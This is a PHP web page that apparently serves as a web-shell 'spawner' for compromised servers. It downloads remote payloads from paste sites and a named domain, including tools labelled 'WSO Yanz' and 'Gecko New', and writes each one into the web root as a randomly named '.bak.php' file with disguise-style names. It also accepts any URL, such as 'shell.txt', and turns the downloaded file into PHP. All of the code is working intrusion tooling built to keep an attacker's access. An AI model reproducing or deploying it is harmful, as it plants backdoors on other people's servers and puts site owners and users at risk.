<?php

$config = [
    // ===== THEME SETTINGS =====
    'theme' => [
        'primary' => '#ff4444',        // Warna utama
        'secondary' => '#ff8888',       // Warna sekunder
        'background' => '#0d0d0d',      // Background gelap
        'text' => '#ffaaaa',             // Warna teks
        'border' => '#550000',           // Warna border
        'glow' => '10px'                  // Intensity glow
    ],
    
    // ===== DEVELOPER CONTACT =====
    'developer' => [
        'name' => 'Pavel',
        'telegram' => 'https://t.me/None',
        'website' => 'https://none.com/'
    ],
    
    // ===== MESSAGE SETTINGS =====
    'messages' => [
        'welcome' => '㋡ Pavel • Spawner ㋡',
        'subtitle' => '> Created by Pavel | Inalienability.com <',
        'maintenance' => '☹ MAINTENANCE',
        'success' => '☻ DEPLOYED',
        'error_url' => '＊ INVALID URL',
        'error_fetch' => '＊ FETCH FAILED',
        'error_perm' => '＊ PERMISSION DENIED'
    ],
    
    // ===== TOOL BUTTONS - EDIT NAMES & URLs HERE =====
    'tools' => [
        // 'key' => ['name' => 'BUTTON NAME', 'url' => 'SOURCE URL']
        'Pavel1' => [
            'name' => 'Terminal',
            'url' => 'https://inalienability.com/raw/terminalpavel.txt'
        ],
        'Pavel2' => [
            'name' => 'Gecko New',
            'url' => 'https://paste.tc/raw/fXSghZ7S'
        ],
        'Pavel3' => [
            'name' => 'WSO Yanz',
            'url' => 'https://paste.tc/raw/uCG3AKor'
        ],
        'Pavel4' => [
            'name' => 'Loveforya',
            'url' => 'https://inalienability.com/raw/loveforyapavel.txt'
        ],
        'Pavel5' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel6' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel7' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel8' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel9' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel10' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel11' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel12' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel13' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ],
        'Pavel14' => [
            'name' => 'unknown',
            'url' => 'https://inalienability.com/raw/unknown.txt'
        ]
    ],
    
    // ===== MAINTENANCE MODE =====
    // Ubah true/false di sini!
    // true = maintenance (button disable & kasih alert)
    // false = aktif (button bisa dipakai)
    'maintenance' => [
        'Pavel1' => false,
        'Pavel2' => false,
        'Pavel3' => false,
        'Pavel4' => false,
        'Pavel5' => true,
        'Pavel6' => true,
        'Pavel7' => true,
        'Pavel8' => true,
        'Pavel9' => true,
        'Pavel10' => true,
        'Pavel11' => true,
        'Pavel12' => true,
        'Pavel13' => true,
        'Pavel14' => true
    ],
    
    // ===== FILE NAMING =====
    'file' => [
        'prefix' => '',        // Prefix untuk random filename
        'extension' => '.bak.php',           // SEMUA FILE PAKE PHP!
        'random_length' => 10              // Panjang random string
    ]
];

// ============================================
// SYSTEM CODE - DON'T EDIT BELOW THIS LINE
// ============================================

error_reporting(0);

// Function to fix URL (add https:// if no protocol)
function fixUrl($url) {
    $url = trim($url);
    if (!preg_match('/^https?:\/\//i', $url)) {
        if (preg_match('/^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}/', $url) || 
            preg_match('/^[a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/', $url)) {
            $url = 'https://' . $url;
        }
    }
    return $url;
}

// Function to generate random filename - SELALU PAKE PHP
function generateRandomName($config) {
    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $name = '';
    for ($i = 0; $i < $config['file']['random_length']; $i++) {
        $name .= $chars[mt_rand(0, strlen($chars) - 1)];
    }
    return $config['file']['prefix'] . $name . $config['file']['extension'];
}

// Function to fetch content using available methods
function fetchContent($url) {
    $content = false;
    
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
        $content = curl_exec($ch);
        curl_close($ch);
        if ($content !== false && strlen($content) > 0) {
            return $content;
        }
    }
    
    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            'http' => [
                'timeout' => 30,
                'user_agent' => 'Mozilla/5.0'
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false
            ]
        ]);
        $content = @file_get_contents($url, false, $context);
        if ($content !== false && strlen($content) > 0) {
            return $content;
        }
    }
    
    return false;
}

// Handle deployment
$message = '';
$deployedFile = '';
$alertMessage = '';

// Handle URL Upload - SELALU PAKE PHP
if (isset($_POST['url_upload']) && !empty($_POST['custom_url'])) {
    $custom_url = trim($_POST['custom_url']);
    $custom_name = isset($_POST['custom_name']) ? trim($_POST['custom_name']) : '';
    
    // Fix URL
    $fixed_url = fixUrl($custom_url);
    
    if (!filter_var($fixed_url, FILTER_VALIDATE_URL)) {
        $alertMessage = $config['messages']['error_url'] . ': Invalid URL format';
    } else {
        $content = fetchContent($fixed_url);
        
        if ($content === false || strlen($content) == 0) {
            $alertMessage = $config['messages']['error_fetch'] . ': Could not retrieve content';
        } else {
            // Generate filename - SELALU PAKE PHP
            if (!empty($custom_name)) {
                // Bersihin nama dari karakter aneh
                $custom_name = preg_replace('/[^a-zA-Z0-9_-]/', '', $custom_name);
                
                // Kalo nama udah pake .php, biarin. Kalo belum, tambahin .php
                if (!preg_match('/\.php$/i', $custom_name)) {
                    $filename = $custom_name . '.php';
                } else {
                    $filename = $custom_name;
                }
            } else {
                $filename = generateRandomName($config);
            }
            
            // Write file
            if (@file_put_contents($filename, $content)) {
                $deployedFile = $filename;
                $message = $config['messages']['success'] . ' - Custom URL';
            } else {
                $message = $config['messages']['error_perm'];
            }
        }
    }
}

// Handle tool deployment - SELALU PAKE PHP
if (isset($_POST['deploy'])) {
    $type = $_POST['type'];
    
    // Check maintenance mode
    if (isset($config['maintenance'][$type]) && $config['maintenance'][$type] === true) {
        $alertMessage = $config['messages']['maintenance'] . ': Tool under maintenance';
    } else {
        if (isset($config['tools'][$type]['url'])) {
            $url = $config['tools'][$type]['url'];
            $content = fetchContent($url);
            
            if ($content !== false && strlen($content) > 0) {
                // SELALU generate random PHP file
                $filename = generateRandomName($config);
                
                if (@file_put_contents($filename, $content)) {
                    $deployedFile = $filename;
                    $message = $config['messages']['success'] . ' - ' . $config['tools'][$type]['name'];
                } else {
                    $message = $config['messages']['error_perm'];
                }
            } else {
                $message = $config['messages']['error_fetch'];
            }
        } else {
            $alertMessage = 'ERROR: Tool not found';
        }
    }
}

// Get button class based on maintenance status
function getButtonClass($type, $config) {
    if (isset($config['maintenance'][$type]) && $config['maintenance'][$type] === true) {
        return 'btn maintenance';
    }
    return 'btn';
}

// Get button text with maintenance indicator
function getButtonText($label, $type, $config) {
    if (isset($config['maintenance'][$type]) && $config['maintenance'][$type] === true) {
        return $label . ' [' . $config['messages']['maintenance'] . ']';
    }
    return $label;
}

// Check if button should be clickable
function isButtonClickable($type, $config) {
    if (isset($config['maintenance'][$type]) && $config['maintenance'][$type] === true) {
        return false;
    }
    return true;
}
?>
<!DOCTYPE html>
<html>
<head>
    <title><?php echo $config['messages']['welcome']; ?></title>
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        
        body {
            font-family: 'Courier New', monospace;
            background: <?php echo $config['theme']['background']; ?>;
            color: <?php echo $config['theme']['text']; ?>;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            padding: 20px;
        }
        
        .container {
            background: #1a1a1a;
            padding: 30px;
            border: 2px solid <?php echo $config['theme']['border']; ?>;
            border-radius: 10px;
            box-shadow: 0 0 <?php echo $config['theme']['glow']; ?> <?php echo $config['theme']['primary']; ?>;
            text-align: center;
            max-width: 1200px;
            width: 100%;
        }
        
        h1 {
            color: <?php echo $config['theme']['primary']; ?>;
            font-size: 2rem;
            margin-bottom: 5px;
            letter-spacing: 2px;
        }
        
        .subtitle {
            color: <?php echo $config['theme']['secondary']; ?>;
            margin-bottom: 20px;
            font-size: 13px;
        }
        
        .developer-links {
            margin: 15px 0 25px 0;
            padding: 10px;
            background: #222;
            border-radius: 5px;
            display: flex;
            gap: 20px;
            justify-content: center;
            flex-wrap: wrap;
        }
        
        .dev-link {
            color: <?php echo $config['theme']['primary']; ?>;
            text-decoration: none;
            font-size: 14px;
            padding: 5px 15px;
            border: 1px solid <?php echo $config['theme']['border']; ?>;
            border-radius: 3px;
            transition: all 0.3s;
        }
        
        .dev-link:hover {
            background: <?php echo $config['theme']['primary']; ?>;
            color: #000;
            border-color: #fff;
        }
        
        .url-upload-section {
            background: #222;
            border: 1px solid <?php echo $config['theme']['border']; ?>;
            padding: 20px;
            margin-bottom: 25px;
            border-radius: 5px;
        }
        
        .url-upload-section h3 {
            color: <?php echo $config['theme']['secondary']; ?>;
            margin-bottom: 15px;
            font-size: 16px;
        }
        
        .url-input-group {
            display: flex;
            gap: 10px;
            margin-bottom: 10px;
            flex-wrap: wrap;
        }
        
        .url-input {
            flex: 2;
            min-width: 300px;
            padding: 12px;
            background: #333;
            border: 1px solid <?php echo $config['theme']['border']; ?>;
            color: <?php echo $config['theme']['text']; ?>;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            border-radius: 3px;
        }
        
        .name-input {
            flex: 1;
            min-width: 150px;
            padding: 12px;
            background: #333;
            border: 1px solid <?php echo $config['theme']['border']; ?>;
            color: <?php echo $config['theme']['text']; ?>;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            border-radius: 3px;
        }
        
        .url-upload-btn {
            padding: 12px 25px;
            background: <?php echo $config['theme']['primary']; ?>;
            border: none;
            color: #000;
            font-weight: bold;
            cursor: pointer;
            border-radius: 3px;
            font-family: 'Courier New', monospace;
            transition: all 0.3s;
        }
        
        .url-upload-btn:hover {
            background: <?php echo $config['theme']['secondary']; ?>;
            box-shadow: 0 0 15px <?php echo $config['theme']['primary']; ?>;
        }
        
        .url-hint {
            color: #888;
            font-size: 11px;
            text-align: left;
            margin-bottom: 5px;
        }
        
        .url-hint span {
            color: <?php echo $config['theme']['primary']; ?>;
            font-weight: bold;
        }
        
        .filename-hint {
            color: #888;
            font-size: 11px;
            text-align: left;
        }
        
        .filename-hint span {
            color: <?php echo $config['theme']['primary']; ?>;
            font-weight: bold;
        }
        
        .matrix-grid {
            display: grid;
            grid-template-columns: repeat(4, 1fr);
            gap: 8px;
            margin: 20px 0;
        }
        
        .btn {
            padding: 10px 5px;
            background: #222;
            border: 1px solid <?php echo $config['theme']['border']; ?>;
            color: <?php echo $config['theme']['text']; ?>;
            font-size: 11px;
            cursor: pointer;
            transition: all 0.3s;
            font-family: 'Courier New', monospace;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        
        .btn:hover:not(.maintenance) {
            background: <?php echo $config['theme']['primary']; ?>;
            color: #000;
            border-color: #fff;
            box-shadow: 0 0 15px <?php echo $config['theme']['primary']; ?>;
        }
        
        .btn.maintenance {
            opacity: 0.5;
            cursor: not-allowed;
            background: #1a1a1a;
            color: #888;
            border-color: #330000;
            border-left: 3px solid #ffaa00;
        }
        
        .alert {
            margin: 15px 0;
            padding: 12px;
            background: #332200;
            border: 1px solid #ffaa00;
            color: #ffaa00;
            font-size: 13px;
            border-radius: 3px;
        }
        
        .message {
            margin: 15px 0;
            padding: 12px;
            border: 1px solid;
            font-size: 13px;
            border-radius: 3px;
        }
        
        .success {
            border-color: #00aa00;
            color: #00ff00;
            background: #002200;
        }
        
        .error {
            border-color: #aa0000;
            color: #ff6666;
            background: #220000;
        }
        
        .deployed-file {
            margin: 15px 0;
            padding: 15px;
            background: #1a3300;
            border: 1px solid #00aa00;
            border-radius: 3px;
        }
        
        .deployed-file a {
            color: #00ff00;
            text-decoration: none;
            font-weight: bold;
            word-break: break-all;
            font-size: 14px;
        }
        
        .deployed-file a:hover {
            text-decoration: underline;
        }
        
        .info-panel {
            margin-top: 25px;
            padding: 15px;
            background: #222;
            border: 1px solid <?php echo $config['theme']['border']; ?>;
            border-radius: 3px;
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
            gap: 10px;
            font-size: 12px;
        }
        
        .info-item {
            color: <?php echo $config['theme']['secondary']; ?>;
        }
        
        .info-item span {
            color: <?php echo $config['theme']['text']; ?>;
            margin-left: 5px;
        }
        
        .status-bar {
            margin-top: 15px;
            padding: 8px;
            background: #1a1a1a;
            border: 1px solid <?php echo $config['theme']['border']; ?>;
            font-size: 11px;
            text-align: center;
        }
        
        .status-bar span {
            color: <?php echo $config['theme']['primary']; ?>;
            font-weight: bold;
        }
        
        @media (max-width: 1000px) {
            .matrix-grid {
                grid-template-columns: repeat(3, 1fr);
            }
        }
        
        @media (max-width: 750px) {
            .matrix-grid {
                grid-template-columns: repeat(2, 1fr);
            }
        }
        
        @media (max-width: 500px) {
            .matrix-grid {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <h1><?php echo $config['messages']['welcome']; ?></h1>
        <div class="subtitle"><?php echo $config['messages']['subtitle']; ?></div>
        
        <!-- Developer Links -->
        <div class="developer-links">
            <a href="<?php echo $config['developer']['telegram']; ?>" target="_blank" class="dev-link">TELEGRAM</a>
            <a href="<?php echo $config['developer']['website']; ?>" target="_blank" class="dev-link">WEBSITE</a>
        </div>
        
        <!-- Custom URL Upload -->
        <div class="url-upload-section">
            <h3>CUSTOM URL UPLOAD</h3>
            <form method="POST" id="urlUploadForm">
                <div class="url-input-group">
                    <input type="text" 
                           name="custom_url" 
                           class="url-input" 
                           placeholder="example.com/shell.txt or https://site.com/raw.txt"
                           required>
                    <input type="text" 
                           name="custom_name" 
                           class="name-input" 
                           placeholder="Optional name (tanpa .php)"
                           pattern="[a-zA-Z0-9_-]+"
                           title="Letters, numbers, underscore, hyphen">
                    <button type="submit" name="url_upload" value="1" class="url-upload-btn">
                        DEPLOY
                    </button>
                </div>
                <div class="url-hint">
                    <span>Accepted URL : </span>All type of url
                </div>
                <div class="filename-hint">
                    <span>All file will be PHP</span> • Does not accept other extension 
                </div>
                <div class="filename-hint">
                    File name will he randomized with prefix of wp-cache-name.php
                </div>
            </form>
        </div>
        
        <?php if ($alertMessage): ?>
        <div class="alert">
            <?php echo htmlspecialchars($alertMessage); ?>
        </div>
        <?php endif; ?>
        
        <!-- Tools Grid -->
        <form method="POST" id="deployForm">
            <div class="matrix-grid">
                <?php foreach ($config['tools'] as $key => $tool): 
                    $isClickable = isButtonClickable($key, $config);
                    $buttonText = getButtonText($tool['name'], $key, $config);
                ?>
                <button type="submit" 
                        name="deploy" 
                        value="1" 
                        class="<?php echo getButtonClass($key, $config); ?>"
                        onclick="<?php echo $isClickable ? "document.getElementById('type').value='$key'" : "return false;"; ?>"
                        title="<?php echo $isClickable ? 'Deploy ' . $tool['name'] : 'Under Maintenance'; ?>">
                    <?php echo $buttonText; ?>
                </button>
                <?php endforeach; ?>
            </div>
            
            <input type="hidden" name="type" id="type" value="">
        </form>
        
        <?php if ($message): ?>
        <div class="message <?php echo strpos($message, '☻') !== false ? 'success' : 'error'; ?>">
            <?php echo htmlspecialchars($message); ?>
        </div>
        <?php endif; ?>
        
        <?php if ($deployedFile): ?>
        <div class="deployed-file">
            <a href="<?php echo htmlspecialchars($deployedFile); ?>" target="_blank">
                <?php echo htmlspecialchars($deployedFile); ?>
            </a>
        </div>
        <?php endif; ?>
        
        <!-- System Info -->
        <div class="info-panel">
            <div class="info-item">PHP: <span><?php echo phpversion(); ?></span></div>
            <div class="info-item">cURL: <span><?php echo function_exists('curl_init') ? 'True' : 'False'; ?></span></div>
            <div class="info-item">FOpen: <span><?php echo ini_get('allow_url_fopen') ? 'True' : 'False'; ?></span></div>
            <div class="info-item">Tools: <span><?php echo count($config['tools']); ?></span></div>
            <div class="info-item">Maintenance: <span>
                <?php 
                $count = 0;
                foreach ($config['maintenance'] as $status) {
                    if ($status) $count++;
                }
                echo $count . ' tools';
                ?>
            </span></div>
        </div>
        
        <div class="status-bar">
            <span>Created : Pavel • 2026</span>
        </div>
    </div>
    
    <script>
        // Form submit handler
        document.getElementById('urlUploadForm')?.addEventListener('submit', function(e) {
            const url = document.querySelector('input[name="custom_url"]').value.trim();
            if (url === '') {
                e.preventDefault();
                alert('URL cannot be empty');
            }
        });
        
        // Maintenance click handler
        document.querySelectorAll('.btn.maintenance').forEach(btn => {
            btn.addEventListener('click', (e) => {
                e.preventDefault();
                alert('MAINTENANCE MODE : This tool is currently under maintenance');
            });
        });
    </script>
</body>
</html>